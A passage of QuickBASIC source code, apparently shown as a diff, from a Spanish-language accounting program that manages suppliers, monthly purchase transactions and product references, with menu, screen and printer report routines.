"; + + IF CurrFig#(3) <> 0 THEN PRINT "³ "; : PRINT USING u5$; CurrFig#(3); : PRINT " "; ELSE PRINT "³ "; + + IF CurrFig#(4) <> 0 THEN PRINT "³ "; : PRINT USING u5$; CurrFig#(4); : PRINT " "; ELSE PRINT "³ "; + + IF CurrFig#(5) <> 0 THEN PRINT "³"; : PRINT USING u2$; CurrFig#(5); ELSE PRINT "³ "; + + IF CurrFig#(6) <> 0 THEN PRINT "³"; : PRINT USING u2$; CurrFig#(6); ELSE PRINT "³ "; + PRINT "³"; + PRINT USING u3$; Balance#(CurrRecord); + + IF bajabar <> 1 THEN GOSUB EditTransPrintBalances + + +END IF + +RETURN + +EditTransPrintBalances: + COLOR colors(7, ColorPref), colors(4, ColorPref) + FOR a = 1 TO 16 + CurrRecord = CurrTopline + a - 1 + IF CurrRecord <= MaxRecord THEN + LOCATE 4 + a, 66 + PRINT USING u3$; Balance#(CurrTopline + a - 1); + END IF + NEXT a + +PrintBalances: + + IF bajabarra <> 1 THEN + COLOR colors(7, ColorPref), colors(4, ColorPref) + PvpTotal# = CurrFig#(3) * CurrFig#(4) * CurrFig#(5) + PcTotal# = CurrFig#(3) * CurrFig#(4) * CurrFig#(6) + LOCATE 21, 1: PRINT "ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ" + box 22, 1, 24, 80 + LOCATE 23, 2: PRINT CurrString$(1) + LOCATE 23, 25: PRINT "³"; + LOCATE 23, 26: PRINT USING u9$; PvpTotal#; + PRINT "³"; + PRINT USING u9$; PcTotal#; + PRINT "³"; + PRINT USING u9$; BalTotal#; + END IF + + RETURN + +EditTransDeleteRecord: + bajabar = 1 + IF MaxRecord = 1 THEN + BEEP + ELSE + CurrRecord = CurrTopline + CurrRow - 1 + MaxRecord = MaxRecord - 1 + a = CurrRecord + BalTotal# = BalTotal# - Balance#(CurrRecord) + WHILE a <= MaxRecord + GET #1, a + 2 + PUT #1, a + 1 + + Balance#(a) = Balance#(a + 1) + a = a + 1 + WEND + + Balance#(MaxRecord + 1) = 0 + + LSET valid$ = "SI" + LSET IoMaxRecord$ = Cvit$(MaxRecord) + PUT #1, 1 + GOSUB EditTransPrintWholeScreen + CurrRecord = CurrTopline + CurrRow - 1 + IF CurrRecord > MaxRecord THEN + GOSUB EditTransMoveUp + END IF + bajabar = 0 + GOSUB EditTransGetLine + + END IF + RETURN + +EditTransAddRecord: + bajabar = 1 + CurrRecord = CurrTopline + CurrRow - 1 + a = MaxRecord + + tb = 0 + WHILE a > CurrRecord + + GET #1, a + 1 + PUT #1, a + 2 + + Balance#(a + 1) = Balance#(a) + + a = a - 1 + + WEND + + + Balance#(CurrRecord + 1) = 0 + + MaxRecord = MaxRecord + 1 + LSET IoRef$ = STR$(0) + LSET IoDesc$ = "" + LSET IoUnd$ = STR$(0) + LSET IoCC$ = STR$(0) + LSET IoPvp$ = STR$(0) + LSET IoPc$ = STR$(0) + PUT #1, CurrRecord + 2 + + LSET valid$ = "SI" + LSET IoMaxRecord$ = Cvit$(MaxRecord) + PUT #1, 1 + GOSUB EditTransPrintWholeScreen + + GOSUB EditTransGetLine + RETURN + +EditTransPrintWholeScreen: + + temp = CurrRow + FOR CurrRow = 1 TO 16 + CurrRecord = CurrTopline + CurrRow - 1 + IF CurrRecord <= MaxRecord THEN + GOSUB EditTransGetLine + END IF + GOSUB EditTransPrintLine + NEXT CurrRow + CurrRow = temp + RETURN + + +EditTransPutLine: + + CurrRecord = CurrTopline + CurrRow - 1 + LSET IoDia$ = CurrDia$ + LSET IoRef$ = LTRIM$(RTRIM$(STR$(CurrFig#(2)))) + LSET IoDesc$ = CurrString$(1) + LSET IoUnd$ = LTRIM$(RTRIM$(STR$(CurrFig#(3)))) + LSET IoCC$ = LTRIM$(RTRIM$(STR$(CurrFig#(4)))) + LSET IoPvp$ = LTRIM$(RTRIM$(STR$(CurrFig#(5)))) + LSET IoPc$ = LTRIM$(RTRIM$(STR$(CurrFig#(6)))) + PUT #1, CurrRecord + 1 + +IF GraCurrDat = CurrRecord THEN + + file2$ = "Ref#." + Cvit$(item%) + OPEN file2$ FOR RANDOM AS #2 LEN = 54 + + FIELD #2, 6 AS IRf$, 22 AS IDsc$, 3 AS ICC$, 8 AS IPVP$, 8 AS IPC$ + FIELD #2, 2 AS vld$, 5 AS IMxRcrd$ + + LSET IRf$ = LTRIM$(RTRIM$(STR$(CurrFig#(2)))) + LSET IDsc$ = CurrString$(1) + LSET ICC$ = LTRIM$(RTRIM$(STR$(CurrFig#(4)))) + LSET IPVP$ = LTRIM$(RTRIM$(STR$(CurrFig#(5)))) + LSET IPC$ = LTRIM$(RTRIM$(STR$(CurrFig#(6)))) + PUT #2, TopeRef# + LSET vld$ = "SI" + LSET IMxRcrd$ = LTRIM$(RTRIM$(STR$(TopeRef#))) + PUT #2, 1 + + TopeRef# = VAL(IMxRcrd$) + + Ca#(TopeRef#) = CurrFig#(2) + Cb$(TopeRef#) = CurrString$(1) + Cc#(TopeRef#) = CurrFig#(4) + Cd#(TopeRef#) = CurrFig#(5) + Ce#(TopeRef#) = CurrFig#(6) + + CLOSE #2 +END IF + + + RETURN + + +EditTransGetLine: + + CurrRecord = CurrTopline + CurrRow - 1 + GET #1, CurrRecord + 1 + dia$ = IoDia$ + CurrFig#(2) = VAL(IoRef$) + CurrString$(1) = IoDesc$ + CurrFig#(3) = VAL(IoUnd$) + CurrFig#(4) = VAL(IoCC$) + CurrFig#(5) = VAL(IoPvp$) + CurrFig#(6) = VAL(IoPc$) + compufech$ = mes$ + "-" + dia$ + "-" + an$ + LOCATE 1, 63: PRINT "Fecha: "; + LOCATE 1, 63: PRINT "Fecha: " + compufech$; + + RETURN + + +CargaCienReferencias: + +CLS +box 14, 28, 17, 51 +LOCATE 15, 30: PRINT "Cargando referencias" +LOCATE 16, 30: PRINT "Por favor, espere..." + + + file2$ = "Ref#." + Cvit$(item%) + + OPEN file2$ FOR RANDOM AS #2 LEN = 54 + + FIELD #2, 6 AS IRf$, 22 AS IDsc$, 3 AS ICC$, 8 AS IPVP$, 8 AS IPC$ + FIELD #2, 2 AS vld$, 5 AS IMxRcrd$ + + + + GET #2, 1 + IF vld$ <> "SI" THEN + LSET IRf$ = STR$(0) + LSET IDsc$ = "" + LSET ICC$ = STR$(0) + LSET IPVP$ = STR$(0) + LSET IPC$ = STR$(0) + PUT #2, 2 + LSET vld$ = "SI" + LSET IMxRcrd$ = "1" + PUT #2, 1 + END IF + TopeRef# = VAL(IMxRcrd$) + + + b = 1 + WHILE b <= TopeRef# + GET #2, b + 1 + Ca#(b) = VAL(IRf$) + Cb$(b) = IDsc$ + Cc#(b) = VAL(ICC$) + Cd#(b) = VAL(IPVP$) + Ce#(b) = VAL(IPC$) + b = b + 1 + WEND + + +CLOSE #2 +RETURN + + +END SUB + +SUB Elif + +END SUB + +'FancyCls: +' Clears screen in the right color, and draws nice dots. +SUB FancyCls (dots, Background) + + VIEW PRINT 2 TO 24 + COLOR dots, Background + CLS 2 + + FOR a = 95 TO 1820 STEP 45 + Row = a / 80 + 1 + Col = a MOD 80 + 1 + LOCATE Row, Col + PRINT CHR$(250); + NEXT a + + VIEW PRINT + +END SUB + +'GetString$: +' Given a row and col, and an initial string, edit a string +' VIS is the length of the visible field of entry +' MAX is the maximum number of characters allowed in the string +FUNCTION GetString$ (Row, Col, start$, end$, vis, max) + Curr$ = Trim$(LEFT$(start$, max)) + IF Curr$ = CHR$(8) THEN Curr$ = "" + + LOCATE , , 1 + + finished = false + DO + GOSUB GetStringShowText + GOSUB GetStringGetKey + + IF LEN(kbd$) > 1 THEN + finished = true + GetString$ = kbd$ + ELSE + SELECT CASE kbd$ + CASE CHR$(13), CHR$(27), CHR$(9) + finished = true + GetString$ = kbd$ + + CASE CHR$(8) + IF Curr$ <> "" THEN + Curr$ = LEFT$(Curr$, LEN(Curr$) - 1) + END IF + + CASE " " TO "}" + IF LEN(Curr$) < max THEN + Curr$ = Curr$ + kbd$ + ELSE + BEEP + END IF + + CASE ELSE + BEEP + END SELECT + END IF + + LOOP UNTIL finished + + end$ = Curr$ + LOCATE , , 0 + EXIT FUNCTION + + +GetStringShowText: + LOCATE Row, Col + IF LEN(Curr$) > vis THEN + PRINT RIGHT$(Curr$, vis); + ELSE + PRINT Curr$; SPACE$(vis - LEN(Curr$)); + LOCATE Row, Col + LEN(Curr$) + END IF + RETURN + +GetStringGetKey: + kbd$ = "" + WHILE kbd$ = "" + kbd$ = INKEY$ + WEND + RETURN +END FUNCTION + +SUB ImpComp (so%) + + 'Stores info about each column + + 'Array to keep the current balance at all the transactions + + REDIM Col(6), Balance#(1000) + mes$ = MID$(DATE$, 1, 2) + an$ = MID$(DATE$, 7, 4) + comes$ = mes$ + "-" + an$ + gf = 0 + box 17, 5, 21, 75 + center 18, "Por Favor Introduzca Mes y a¤o" + center 19, "para imprimir gastos." + PrintHelpLine "Mes y A¤o: mm-aaaa" + DO + emp$ = GetString$(20, 7, comes$, end$, 10, 10) + Fecha$ = end$ + mes$ = MID$(Fecha$, 1, 2) + IF VAL(mes$) <= 12 THEN gf = 1 + IF LEN(Fecha$) < 7 THEN gf = 0 + LOOP WHILE gf = 0 + gf = 0 + + + mes$ = MID$(Fecha$, 1, 2) + an$ = MID$(Fecha$, 4, 4) + + + + center 18, "Imprimiendo Fecha Seleccionada" + center 19, "Por favor, espere ..." + + + 'Open random access file + + file$ = "E-" + mes$ + an$ + "." + Cvit$(so%) + + OPEN file$ FOR RANDOM AS #1 LEN = 59 + + FIELD #1, 2 AS IoDia$, 6 AS IoRef$, 22 AS IoDesc$, 3 AS IoUnd$, 3 AS IoCC$, 8 AS IoPvp$, 8 AS IoPc$ + FIELD #1, 2 AS valid$, 5 AS IoMaxRecord$ + + GET #1, 1 + IF valid$ <> "SI" THEN + center 18, "Este mes, esta vacio, verifique esto." + center 19, "--> Pulse una tecla <--" + SLEEP + EXIT SUB + END IF + + MaxRecord = VAL(IoMaxRecord$) + + Balance#(0) = 0 + a = 1 + WHILE a <= MaxRecord + GET #1, a + 1 + p# = VAL(IoPvp$) + p1# = VAL(IoUnd$) + p2# = VAL(IoCC$) + p3# = VAL(IoPc$) + Balance#(a) = p# * p1# * p2# - p1# * p2# * p3# + BalTotal# = BalTotal# + Balance#(a) + a = a + 1 + WEND + + +DO +printerr = false +ON ERROR GOTO ErrorTrap +LPRINT + +kdb$ = INKEY$ +WHILE kdb$ = "": kdb$ = INKEY$: WEND +IF kdb$ = CHR$(27) THEN EXIT SUB + +LOOP WHILE printerr = true + +box 8, 13, 14, 69 + + LPRINT SPACE$(80); + LPRINT "Empresa: " + Trim$(account(so%).Title); + GOSUB ObtMes + + LPRINT TAB(63); "Fecha: " + Fecha$; + LPRINT + + LPRINT "Dia³ Ref# ³ Concepto ³ Und ³Und/C³ P.V.P. ³ P.C. ³ Beneficios "; + LPRINT "ÄÄÄÅÄÄÄÄÄÄÅÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÅÄÄÄÄÄÅÄÄÄÄÄÅÄÄÄÄÄÄÄÄÄÄÅÄÄÄÄÄÄÄÄÄÄÅÄÄÄÄÄÄÄÄÄÄÄÄ"; + LPRINT " ³ ³ ³ ³ ³ ³ ³ "; + + + u2$ = "##,###,###" + u3$ = "####,###,###" + u5$ = "###" + u6$ = "######" + u9$ = "#,###,###,###,###" + Curlip = 3 + + a = 1 + Curlip = 0 + + WHILE a <= MaxRecord + GET #1, a + 1 + Curlip = Curlip + 1 + IF Curlip = 50 THEN GOSUB PausePage + + + dia$ = IoDia$ + r# = VAL(IoRef$) + D$ = IoDesc$ + p# = VAL(IoPvp$) + p1# = VAL(IoUnd$) + p2# = VAL(IoCC$) + p3# = VAL(IoPc$) + Balance#(a) = p# * p1# * p2# - p1# * p2# * p3# + + IF LEN(dia$) = 1 THEN LPRINT TAB(3); dia$ + "³"; ELSE LPRINT TAB(2); dia$ + "³"; + + + IF r# <> 0 THEN LPRINT USING u6$; r#; ELSE LPRINT " "; + + IF RTRIM$(LTRIM$(D$)) <> "" THEN LPRINT "³" + D$; ELSE LPRINT "³ "; + + IF p1# <> 0 THEN LPRINT "³ "; : LPRINT USING u5$; p1#; : LPRINT " "; ELSE LPRINT "³ "; + + IF p2# <> 0 THEN LPRINT "³ "; : LPRINT USING u5$; p2#; : LPRINT " "; ELSE LPRINT "³ "; + + IF p3# <> 0 THEN LPRINT "³"; : LPRINT USING u2$; p3#; ELSE LPRINT "³ "; + + IF p2# <> 0 THEN LPRINT "³"; : LPRINT USING u2$; p2#; ELSE LPRINT "³ "; + LPRINT "³"; + LPRINT USING u3$; Balance#(a); + + a = a + 1 + WEND + + LPRINT "ßßß³ßßßßßß³ßßßßßßßßßßßßßßßßßßßßßß³ßßßßß³ßßßßß³ßßßßßßßßßß³ßßßßßßßßßß³ßßßßßßßßßßßß"; + LPRINT "ÄÄÄÁÄÄÄÄÄÄÁÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÁÄÄÄÄÄÁÄÄÄÄÄÁÄÄÄÄÄÄÄÄÄÄÁÄÄÄÄÄÄÄÄÄÄÁÄÄÄÄÄÄÄÄÄÄÄÄ"; + LPRINT " Balance total:"; USING u9$; BalTotal#; + LPRINT "ÄÄÄÂÄÄÄÄÄÄÂÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÂÄÄÄÄÄÂÄÄÄÄÄÂÄÄÄÄÄÄÄÄÄÄÂÄÄÄÄÄÄÄÄÄÄÂÄÄÄÄÄÄÄÄÄÄÄÄ"; + LPRINT "ÜÜܳÜÜÜÜÜܳÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜܳÜÜÜÜܳÜÜÜÜܳÜÜÜÜÜÜÜÜÜܳÜÜÜÜÜÜÜÜÜܳÜÜÜÜÜÜÜÜÜÜÜÜ" + LPRINT "Programa Realizado por J.D. para Guill‚n Dominguez s.l" + EXIT SUB + + +PausePage: + + center 18, "Inserte una hoja en la impresora" + center 19, "Y pulse una tecla... " + SLEEP +DO +kop = 0 +printerr = false +ON ERROR GOTO ErrorTrap +LPRINT +kdb$ = INKEY$ +WHILE kdb$ = "": kdb$ = INKEY$: WEND +IF kdb$ = CHR$(27) THEN EXIT SUB + +box 8, 13, 14, 69 +LOOP WHILE printerr <> true + + center 18, "Imprimiendo Fecha Seleccionada" + center 19, "Por favor, espere ..." + +RETURN + +ObtMes: + +SELECT CASE VAL(mes$) + CASE 1: Fecha$ = "Enero, " + an$ + CASE 2: Fecha$ = "Febr., " + an$ + CASE 3: Fecha$ = "Marzo, " + an$ + CASE 4: Fecha$ = "Abril, " + an$ + CASE 5: Fecha$ = "Mayo, " + an$ + CASE 6: Fecha$ = "Junio, " + an$ + CASE 7: Fecha$ = "Julio, " + an$ + CASE 8: Fecha$ = "Agost, " + an$ + CASE 9: Fecha$ = "Sept., " + an$ + CASE 10: Fecha$ = "Octu., " + an$ + CASE 11: Fecha$ = "Nov., " + an$ + CASE 12: Fecha$ = "Dicc., " + an$ +END SELECT +RETURN + + +END SUB + +SUB ImpRef (po%) + + + REDIM CurrFig#(5), CurrString$(1) + + file$ = "Ref#." + Cvit$(po%) + + OPEN file$ FOR RANDOM AS #1 LEN = 54 + + FIELD #1, 6 AS IoRef$, 22 AS IoDesc$, 3 AS IoCC$, 8 AS IoPvp$, 8 AS IoPc$ + FIELD #1, 2 AS valid$, 5 AS IoMaxRecord$ + + GET #1, 1 + IF valid$ <> "SI" THEN + center 18, "Al parecer esta empresa no tiene ref." + center 19, "Verifique estos datos. PAK" + SLEEP + EXIT SUB + END IF + MaxRecord = VAL(IoMaxRecord$) + box 17, 5, 21, 75 + center 18, "Imprimiendo Referencias" + center 19, "Por favor, espere ..." + +DO +printerr = false +ON ERROR GOTO ErrorTrap +LPRINT +kdb$ = INKEY$ +WHILE kdb$ = "": kdb$ = INKEY$: WEND +IF kdb$ = CHR$(27) THEN EXIT SUB + +LOOP WHILE printerr = true + + + LPRINT "Referencias de la Empresa: " + Trim$(account(po%).Title); + LPRINT " " + + LPRINT " Ref# ³ Concepto ³ Und/C ³ P.V.P. ³ P.C. "; + LPRINT "ÄÄÄÄÄÄÄÄÄÄÅÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÅÄÄÄÄÄÄÄÄÄÅÄÄÄÄÄÄÄÄÄÄÄÄÅÄÄÄÄÄÄÄÄÄÄÄÄÄ"; + LPRINT " ³ ³ ³ ³ " + u1x$ = "ßßßßßßßßßß³ßßßßßßßßßßßßßßßßßßßßßßßß³ßßßßßßßßß³ßßßßßßßßßßßß³ßßßßßßßßßßßßß" + u2$ = "##,###,###" + u5$ = "###" + u6$ = "######" + + a = 1 + WHILE a <= MaxRecord + GET #1, a + 1 + CurrFig#(2) = VAL(IoRef$) + CurrString$(1) = IoDesc$ + CurrFig#(3) = VAL(IoCC$) + CurrFig#(4) = VAL(IoPvp$) + CurrFig#(5) = VAL(IoPc$) + + + ds = ds + 1 + IF ds = 50 THEN GOSUB finpage + + IF CurrFig#(2) <> 0 THEN LPRINT " "; : LPRINT USING u6$; CurrFig#(2); ELSE LPRINT " "; + + IF RTRIM$(LTRIM$(CurrString$(1))) <> "" THEN LPRINT "³ " + CurrString$(1); ELSE LPRINT "³ "; + + IF CurrFig#(3) <> 0 THEN LPRINT " ³ "; : LPRINT USING u5$; CurrFig#(3); : LPRINT " "; ELSE LPRINT " ³ "; + + IF CurrFig#(4) <> 0 THEN LPRINT "³ "; : LPRINT USING u5$; CurrFig#(4); : LPRINT " "; ELSE LPRINT "³ "; + + IF CurrFig#(5) <> 0 THEN LPRINT "³ "; : LPRINT USING u2$; CurrFig#(5) ELSE LPRINT "³ " + + + a = a + 1 + WEND + + EXIT SUB + +finpage: + + center 18, "Inserte una hoja en la impresora" + center 19, "Y pulse una tecla... " + SLEEP +DO +kop = 0 +printerr = false +ON ERROR GOTO ErrorTrap +LPRINT +kdb$ = INKEY$ +WHILE kdb$ = "": kdb$ = INKEY$: WEND +IF kdb$ = CHR$(27) THEN EXIT SUB + +box 8, 13, 14, 69 +LOOP WHILE printerr <> true + + center 18, "Imprimiendo Fecha Seleccionada" + center 19, "Por favor, espere ..." + +RETURN + + +END SUB + +'Initialize: +' Read colors in and set up assembly routines +SUB Initialize + + WIDTH , 25 + + VIEW PRINT + + FOR ColorSet = 1 TO 4 + FOR x = 1 TO 10 + READ colors(x, ColorSet) + NEXT x + NEXT ColorSet + + LoadState + + p = VARPTR(ScrollUpAsm(1)) + DEF SEG = VARSEG(ScrollUpAsm(1)) + FOR i = 0 TO 13 + READ J + POKE (p + i), J + NEXT i + + p = VARPTR(ScrollDownAsm(1)) + DEF SEG = VARSEG(ScrollDownAsm(1)) + FOR i = 0 TO 13 + READ J + POKE (p + i), J + NEXT i + + DEF SEG + +END SUB + +'LCenter: +' Center TEXT$ on the line printer +SUB LCenter (text$) + LPRINT TAB(41 - LEN(text$) / 2); text$ +END SUB + +'LoadState: +' Load color preferences and account info from Personal.cfg +SUB LoadState + + OPEN "Personal.cfg" FOR INPUT AS #1 + INPUT #1, ColorPref + + FOR a = 1 TO 10 + LINE INPUT #1, account(a).Title + NEXT a + + CLOSE + +END SUB + +'Menu: +' Handles Menu Selection for a single menu (either sub menu, or menu bar) +' currChoiceX : Number of current choice +' maxChoice : Number of choices in the list +' choice$() : Array with the text of the choices +' itemRow() : Array with the row of the choices +' itemCol() : Array with the col of the choices +' help$() : Array with the help text for each choice +' barMode : Boolean: TRUE = menu bar style, FALSE = drop down style +' +' Returns the number of the choice that was made by changing currChoiceX +' and returns the scan code of the key that was pressed to exit +' +FUNCTION Menu (CurrChoiceX, MaxChoice, choice$(), ItemRow(), ItemCol(), help$(), BarMode) + + currChoice = CurrChoiceX + + 'if in bar mode, color in menu bar, else color box/shadow + 'bar mode means you are currently in the menu bar, not a sub menu + IF BarMode THEN + COLOR colors(7, ColorPref), colors(4, ColorPref) + LOCATE 1, 1 + PRINT SPACE$(80); + ELSE + IF boorra <> 0 THEN FancyCls colors(2, ColorPref), colors(1, ColorPref) + COLOR colors(7, ColorPref), colors(4, ColorPref) + box ItemRow(1) - 1, ItemCol(1) - 1, ItemRow(MaxChoice) + 1, ItemCol(1) + LEN(choice$(1)) + 1 + + COLOR colors(10, ColorPref), colors(6, ColorPref) + FOR a = 1 TO MaxChoice + 1 + LOCATE ItemRow(1) + a - 1, ItemCol(1) + LEN(choice$(1)) + 2 + PRINT CHR$(178); CHR$(178); + NEXT a + LOCATE ItemRow(MaxChoice) + 2, ItemCol(MaxChoice) + 2 + PRINT STRING$(LEN(choice$(MaxChoice)) + 2, 178); + END IF + + 'print the choices + COLOR colors(7, ColorPref), colors(4, ColorPref) + FOR a = 1 TO MaxChoice + LOCATE ItemRow(a), ItemCol(a) + PRINT choice$(a); + NEXT a + + finished = false + + WHILE NOT finished + + GOSUB MenuShowCursor + GOSUB MenuGetKey + GOSUB MenuHideCursor + + SELECT CASE kbd$ + CASE CHR$(0) + "H": GOSUB MenuUp + CASE CHR$(0) + "P": GOSUB MenuDown + CASE CHR$(0) + "K": GOSUB MenuLeft + CASE CHR$(0) + "M": GOSUB MenuRight + CASE CHR$(13): GOSUB MenuEnter + CASE CHR$(27): GOSUB MenuEscape + CASE ELSE: BEEP + END SELECT + WEND + + Menu = currChoice + + EXIT FUNCTION + + +MenuEnter: + finished = true + RETURN + +MenuEscape: + currChoice = 0 + finished = true + RETURN + +MenuUp: + IF BarMode THEN + BEEP + ELSE + currChoice = (currChoice + MaxChoice - 2) MOD MaxChoice + 1 + END IF + RETURN + +MenuLeft: + IF BarMode THEN + currChoice = (currChoice + MaxChoice - 2) MOD MaxChoice + 1 + ELSE + currChoice = -2 + finished = true + END IF + RETURN + +MenuRight: + IF BarMode THEN + currChoice = (currChoice) MOD MaxChoice + 1 + ELSE + currChoice = -3 + finished = true + END IF + RETURN + +MenuDown: + IF BarMode THEN + finished = true + ELSE + currChoice = (currChoice) MOD MaxChoice + 1 + END IF + RETURN + +MenuShowCursor: + COLOR colors(8, ColorPref), colors(9, ColorPref) + LOCATE ItemRow(currChoice), ItemCol(currChoice) + PRINT choice$(currChoice); + PrintHelpLine help$(currChoice) + RETURN + +MenuGetKey: + kbd$ = "" + WHILE kbd$ = "" + kbd$ = INKEY$ + WEND + RETURN + +MenuHideCursor: + COLOR colors(7, ColorPref), colors(4, ColorPref) + LOCATE ItemRow(currChoice), ItemCol(currChoice) + PRINT choice$(currChoice); + RETURN + + +END FUNCTION + +'MenuSystem: +' Main routine that controls the program. Uses the MENU function +' to implement menu system and calls the appropriate function to handle +' the user's selection +SUB MenuSystem + boorra = 1 + + DIM choice$(20), menuRow(20), menuCol(20), help$(20) + LOCATE , , 0 + choice = 1 + finished = false + + WHILE NOT finished + + GOSUB MenuSystemMain + + Subchoice = -1 + WHILE Subchoice < 0 + SELECT CASE choice + CASE 1: GOSUB MenuSystemFile + CASE 2: GOSUB MenuSystemEdit + CASE 3: GOSUB MenuSystemAccount + CASE 4: GOSUB MenuSystemReport + CASE 5: GOSUB MenuSystemColors + CASE 6: GOSUB help + END SELECT + FancyCls colors(2, ColorPref), colors(1, ColorPref) + + SELECT CASE Subchoice + CASE -2: choice = (choice + 3) MOD 5 + 1 + CASE -3: choice = (choice) MOD 6 + 1 + END SELECT + WEND + WEND + EXIT SUB + + +MenuSystemMain: + FancyCls colors(2, ColorPref), colors(1, ColorPref) + COLOR colors(7, ColorPref), colors(4, ColorPref) + box 9, 19, 14, 61 + center 11, "Use las teclas de direcci¢n para el men£" + center 12, "Presione Entrar para elegir elemento" + + choice$(1) = " Archivo " + choice$(2) = " Proveedores " + choice$(3) = " Transacciones " + choice$(4) = " Clientes " + choice$(5) = " Colores " + choice$(6) = " Ayuda " + + menuRow(1) = 1: menuCol(1) = 2 + menuRow(2) = 1: menuCol(2) = 12 + menuRow(3) = 1: menuCol(3) = 26 + menuRow(4) = 1: menuCol(4) = 42 + menuRow(5) = 1: menuCol(5) = 53 + menuRow(6) = 1: menuCol(6) = 72 + + help$(1) = "Salir del Administrador" + help$(2) = "Agregar/edit/supr Proveedores" + help$(3) = "Agregar/edit/supr Transacciones" + help$(4) = "Ver e imprimir clientes" + help$(5) = "Fijar color en pantalla" + help$(6) = " Ayuda " + + DO + NewChoice = Menu((choice), 6, choice$(), menuRow(), menuCol(), help$(), true) + LOOP WHILE NewChoice = 0 + choice = NewChoice + RETURN + +MenuSystemFile: + FancyCls colors(2, ColorPref), colors(1, ColorPref) + choice$(1) = " Ficheros " + choice$(2) = " Status " + choice$(3) = " Salir " + + menuRow(1) = 3: menuCol(1) = 2 + menuRow(2) = 4: menuCol(2) = 2 + menuRow(3) = 5: menuCol(3) = 2 + + help$(1) = "Operaciones de Configuraci¢n" + help$(2) = "Status actual" + help$(3) = "Salir del Administrador" + + Subchoice = Menu(1, 3, choice$(), menuRow(), menuCol(), help$(), false) + + SELECT CASE Subchoice + CASE 1 + + choice$(1) = " Eliminar Fich. " + choice$(2) = " Vendedores " + choice$(3) = " Caja (S/N) " + + menuRow(1) = 5: menuCol(1) = 6 + menuRow(2) = 6: menuCol(2) = 6 + menuRow(3) = 7: menuCol(3) = 6 + + help$(1) = "Eliminaci¢n de ficheros..." + help$(2) = "Agregar/Editar/Eliminar Vendedores" + help$(3) = "Configurar Caja registradora" + + Subchoice = Menu(1, 3, choice$(), menuRow(), menuCol(), help$(), false) + + SELECT CASE Subchoice + CASE 1: Elif + CASE 2 + don = 2 + GOSUB empresa + Vende (Subchoice) + don = 0 + CASE 3 + ON ERROR GOTO ErrorCaj + + OPEN "Caja.cfg" FOR INPUT AS #1 + INPUT #1, act$ + CLOSE + + box 8, 13, 14, 69 + center 11, "¨Hay una caja registradora instalada" + center 12, "en el puerto RS232?" + LOCATE 13, 15: PRINT "Actual: ", act$ + center 14, " <ÄÙ Cambiar" + kbd$ = INKEY$ + WHILE kbd$ = "": kbd$ = INKEY$: WEND + IF kbd$ <> CHR$(13) THEN RETURN + LOCATE 13, 15: INPUT "Nuevo: ", act$ + IF UCASE$(RTRIM$(LTRIM$(act$))) <> "S" THEN act$ = "N" + + OPEN "Caja.cfg" FOR OUTPUT AS #1 + PRINT #1, act$ + CLOSE + + + CASE ELSE + END SELECT + + + CASE 2: Staul + CASE 3: finished = true + CASE ELSE + END SELECT + RETURN + + + + +MenuSystemEdit: + + FancyCls colors(2, ColorPref), colors(1, ColorPref) + choice$(1) = " Altas " + choice$(2) = " Editar/Modificar " + choice$(3) = " Buscar " + choice$(4) = " Eliminar " + choice$(5) = " Imprimir (1, 2) " + + menuRow(1) = 3: menuCol(1) = 9 + menuRow(2) = 4: menuCol(2) = 9 + menuRow(3) = 5: menuCol(3) = 9 + menuRow(4) = 6: menuCol(4) = 9 + menuRow(5) = 7: menuCol(5) = 9 + + help$(1) = "Agregar Proveedores" + help$(2) = "Editar/Modificar Proveedores" + help$(3) = "Busqueda de Proveedores" + help$(4) = "Eliminar Proveedores" + help$(5) = "Imprimir lista individual o r pida" + + Subchoice = Menu(1, 5, choice$(), menuRow(), menuCol(), help$(), false) + SELECT CASE Subchoice + CASE 1 TO 5 + Proveedores (Subchoice) + END SELECT + + RETURN + + +MenuSystemAccount: + don = 0 + + FancyCls colors(2, ColorPref), colors(1, ColorPref) + + choice$(1) = " Compras " + choice$(2) = " Referencias " + choice$(3) = " Imprimir (1) " + choice$(4) = " Imprimir (2) " + + menuRow(1) = 3: menuCol(1) = 26 + menuRow(2) = 4: menuCol(2) = 26 + menuRow(3) = 5: menuCol(3) = 26 + menuRow(4) = 6: menuCol(4) = 26 + + help$(1) = "Agregar/Eliminar/Editar Compras" + help$(2) = "Agregar/Eliminar/Editar Referencias" + help$(3) = "Imprimir Compras del mes" + help$(4) = "Imprimir Referencias" + + + Subchoice = Menu(1, 4, choice$(), menuRow(), menuCol(), help$(), false) + + SELECT CASE Subchoice + CASE 1: vaw = 1: GOTO empresa + CASE 2: vaw = 2: GOTO empresa + CASE 3: vaw = 3: GOTO empresa + CASE 4: vaw = 4: GOTO empresa + END SELECT +RETURN + +empresa: + boorra = 1 + FOR a = 1 TO 10 + IF Trim$(account(a).Title) = "" THEN + choice$(a) = RIGHT$(STR$(a), 2) + ". ------------------- " + ELSE + choice$(a) = RIGHT$(STR$(a), 2) + ". " + account(a).Title + END IF + menuRow(a) = a + 4 + menuCol(a) = 32 + help$(a) = RTRIM$(account(a).Title) + NEXT a + + Subchoice = Menu(1, 10, choice$(), menuRow(), menuCol(), help$(), false) + boorra = 0 + + IF Subchoice > 0 THEN + IF choice$(Subchoice) = RIGHT$(STR$(Subchoice), 2) + ". ------------------- " THEN + box 17, 5, 21, 75 + center 19, "Esa empresa no EXISTE, ¨Desea crearla?" + DO: + K$ = INKEY$ + LOOP WHILE K$ = "" + + IF K$ = "s" OR K$ = "S" THEN + box 17, 5, 21, 75 + center 18, "Introduzca el nombre de la Empresa" + emp$ = GetString$(19, 7, "", end$, 20, 20) + 'end$ contiene la informacion + account(Subchoice).Title = end$ + SaveState + + ELSE + box 17, 5, 21, 75 + center 19, "Escoja una empresa" + GOTO empresa + + END IF + END IF + + IF vaw = 2 THEN Referencias (Subchoice) + IF vaw = 1 THEN EditTrans (Subchoice) + IF vaw = 3 THEN ImpComp (Subchoice) + IF vaw = 4 THEN ImpRef 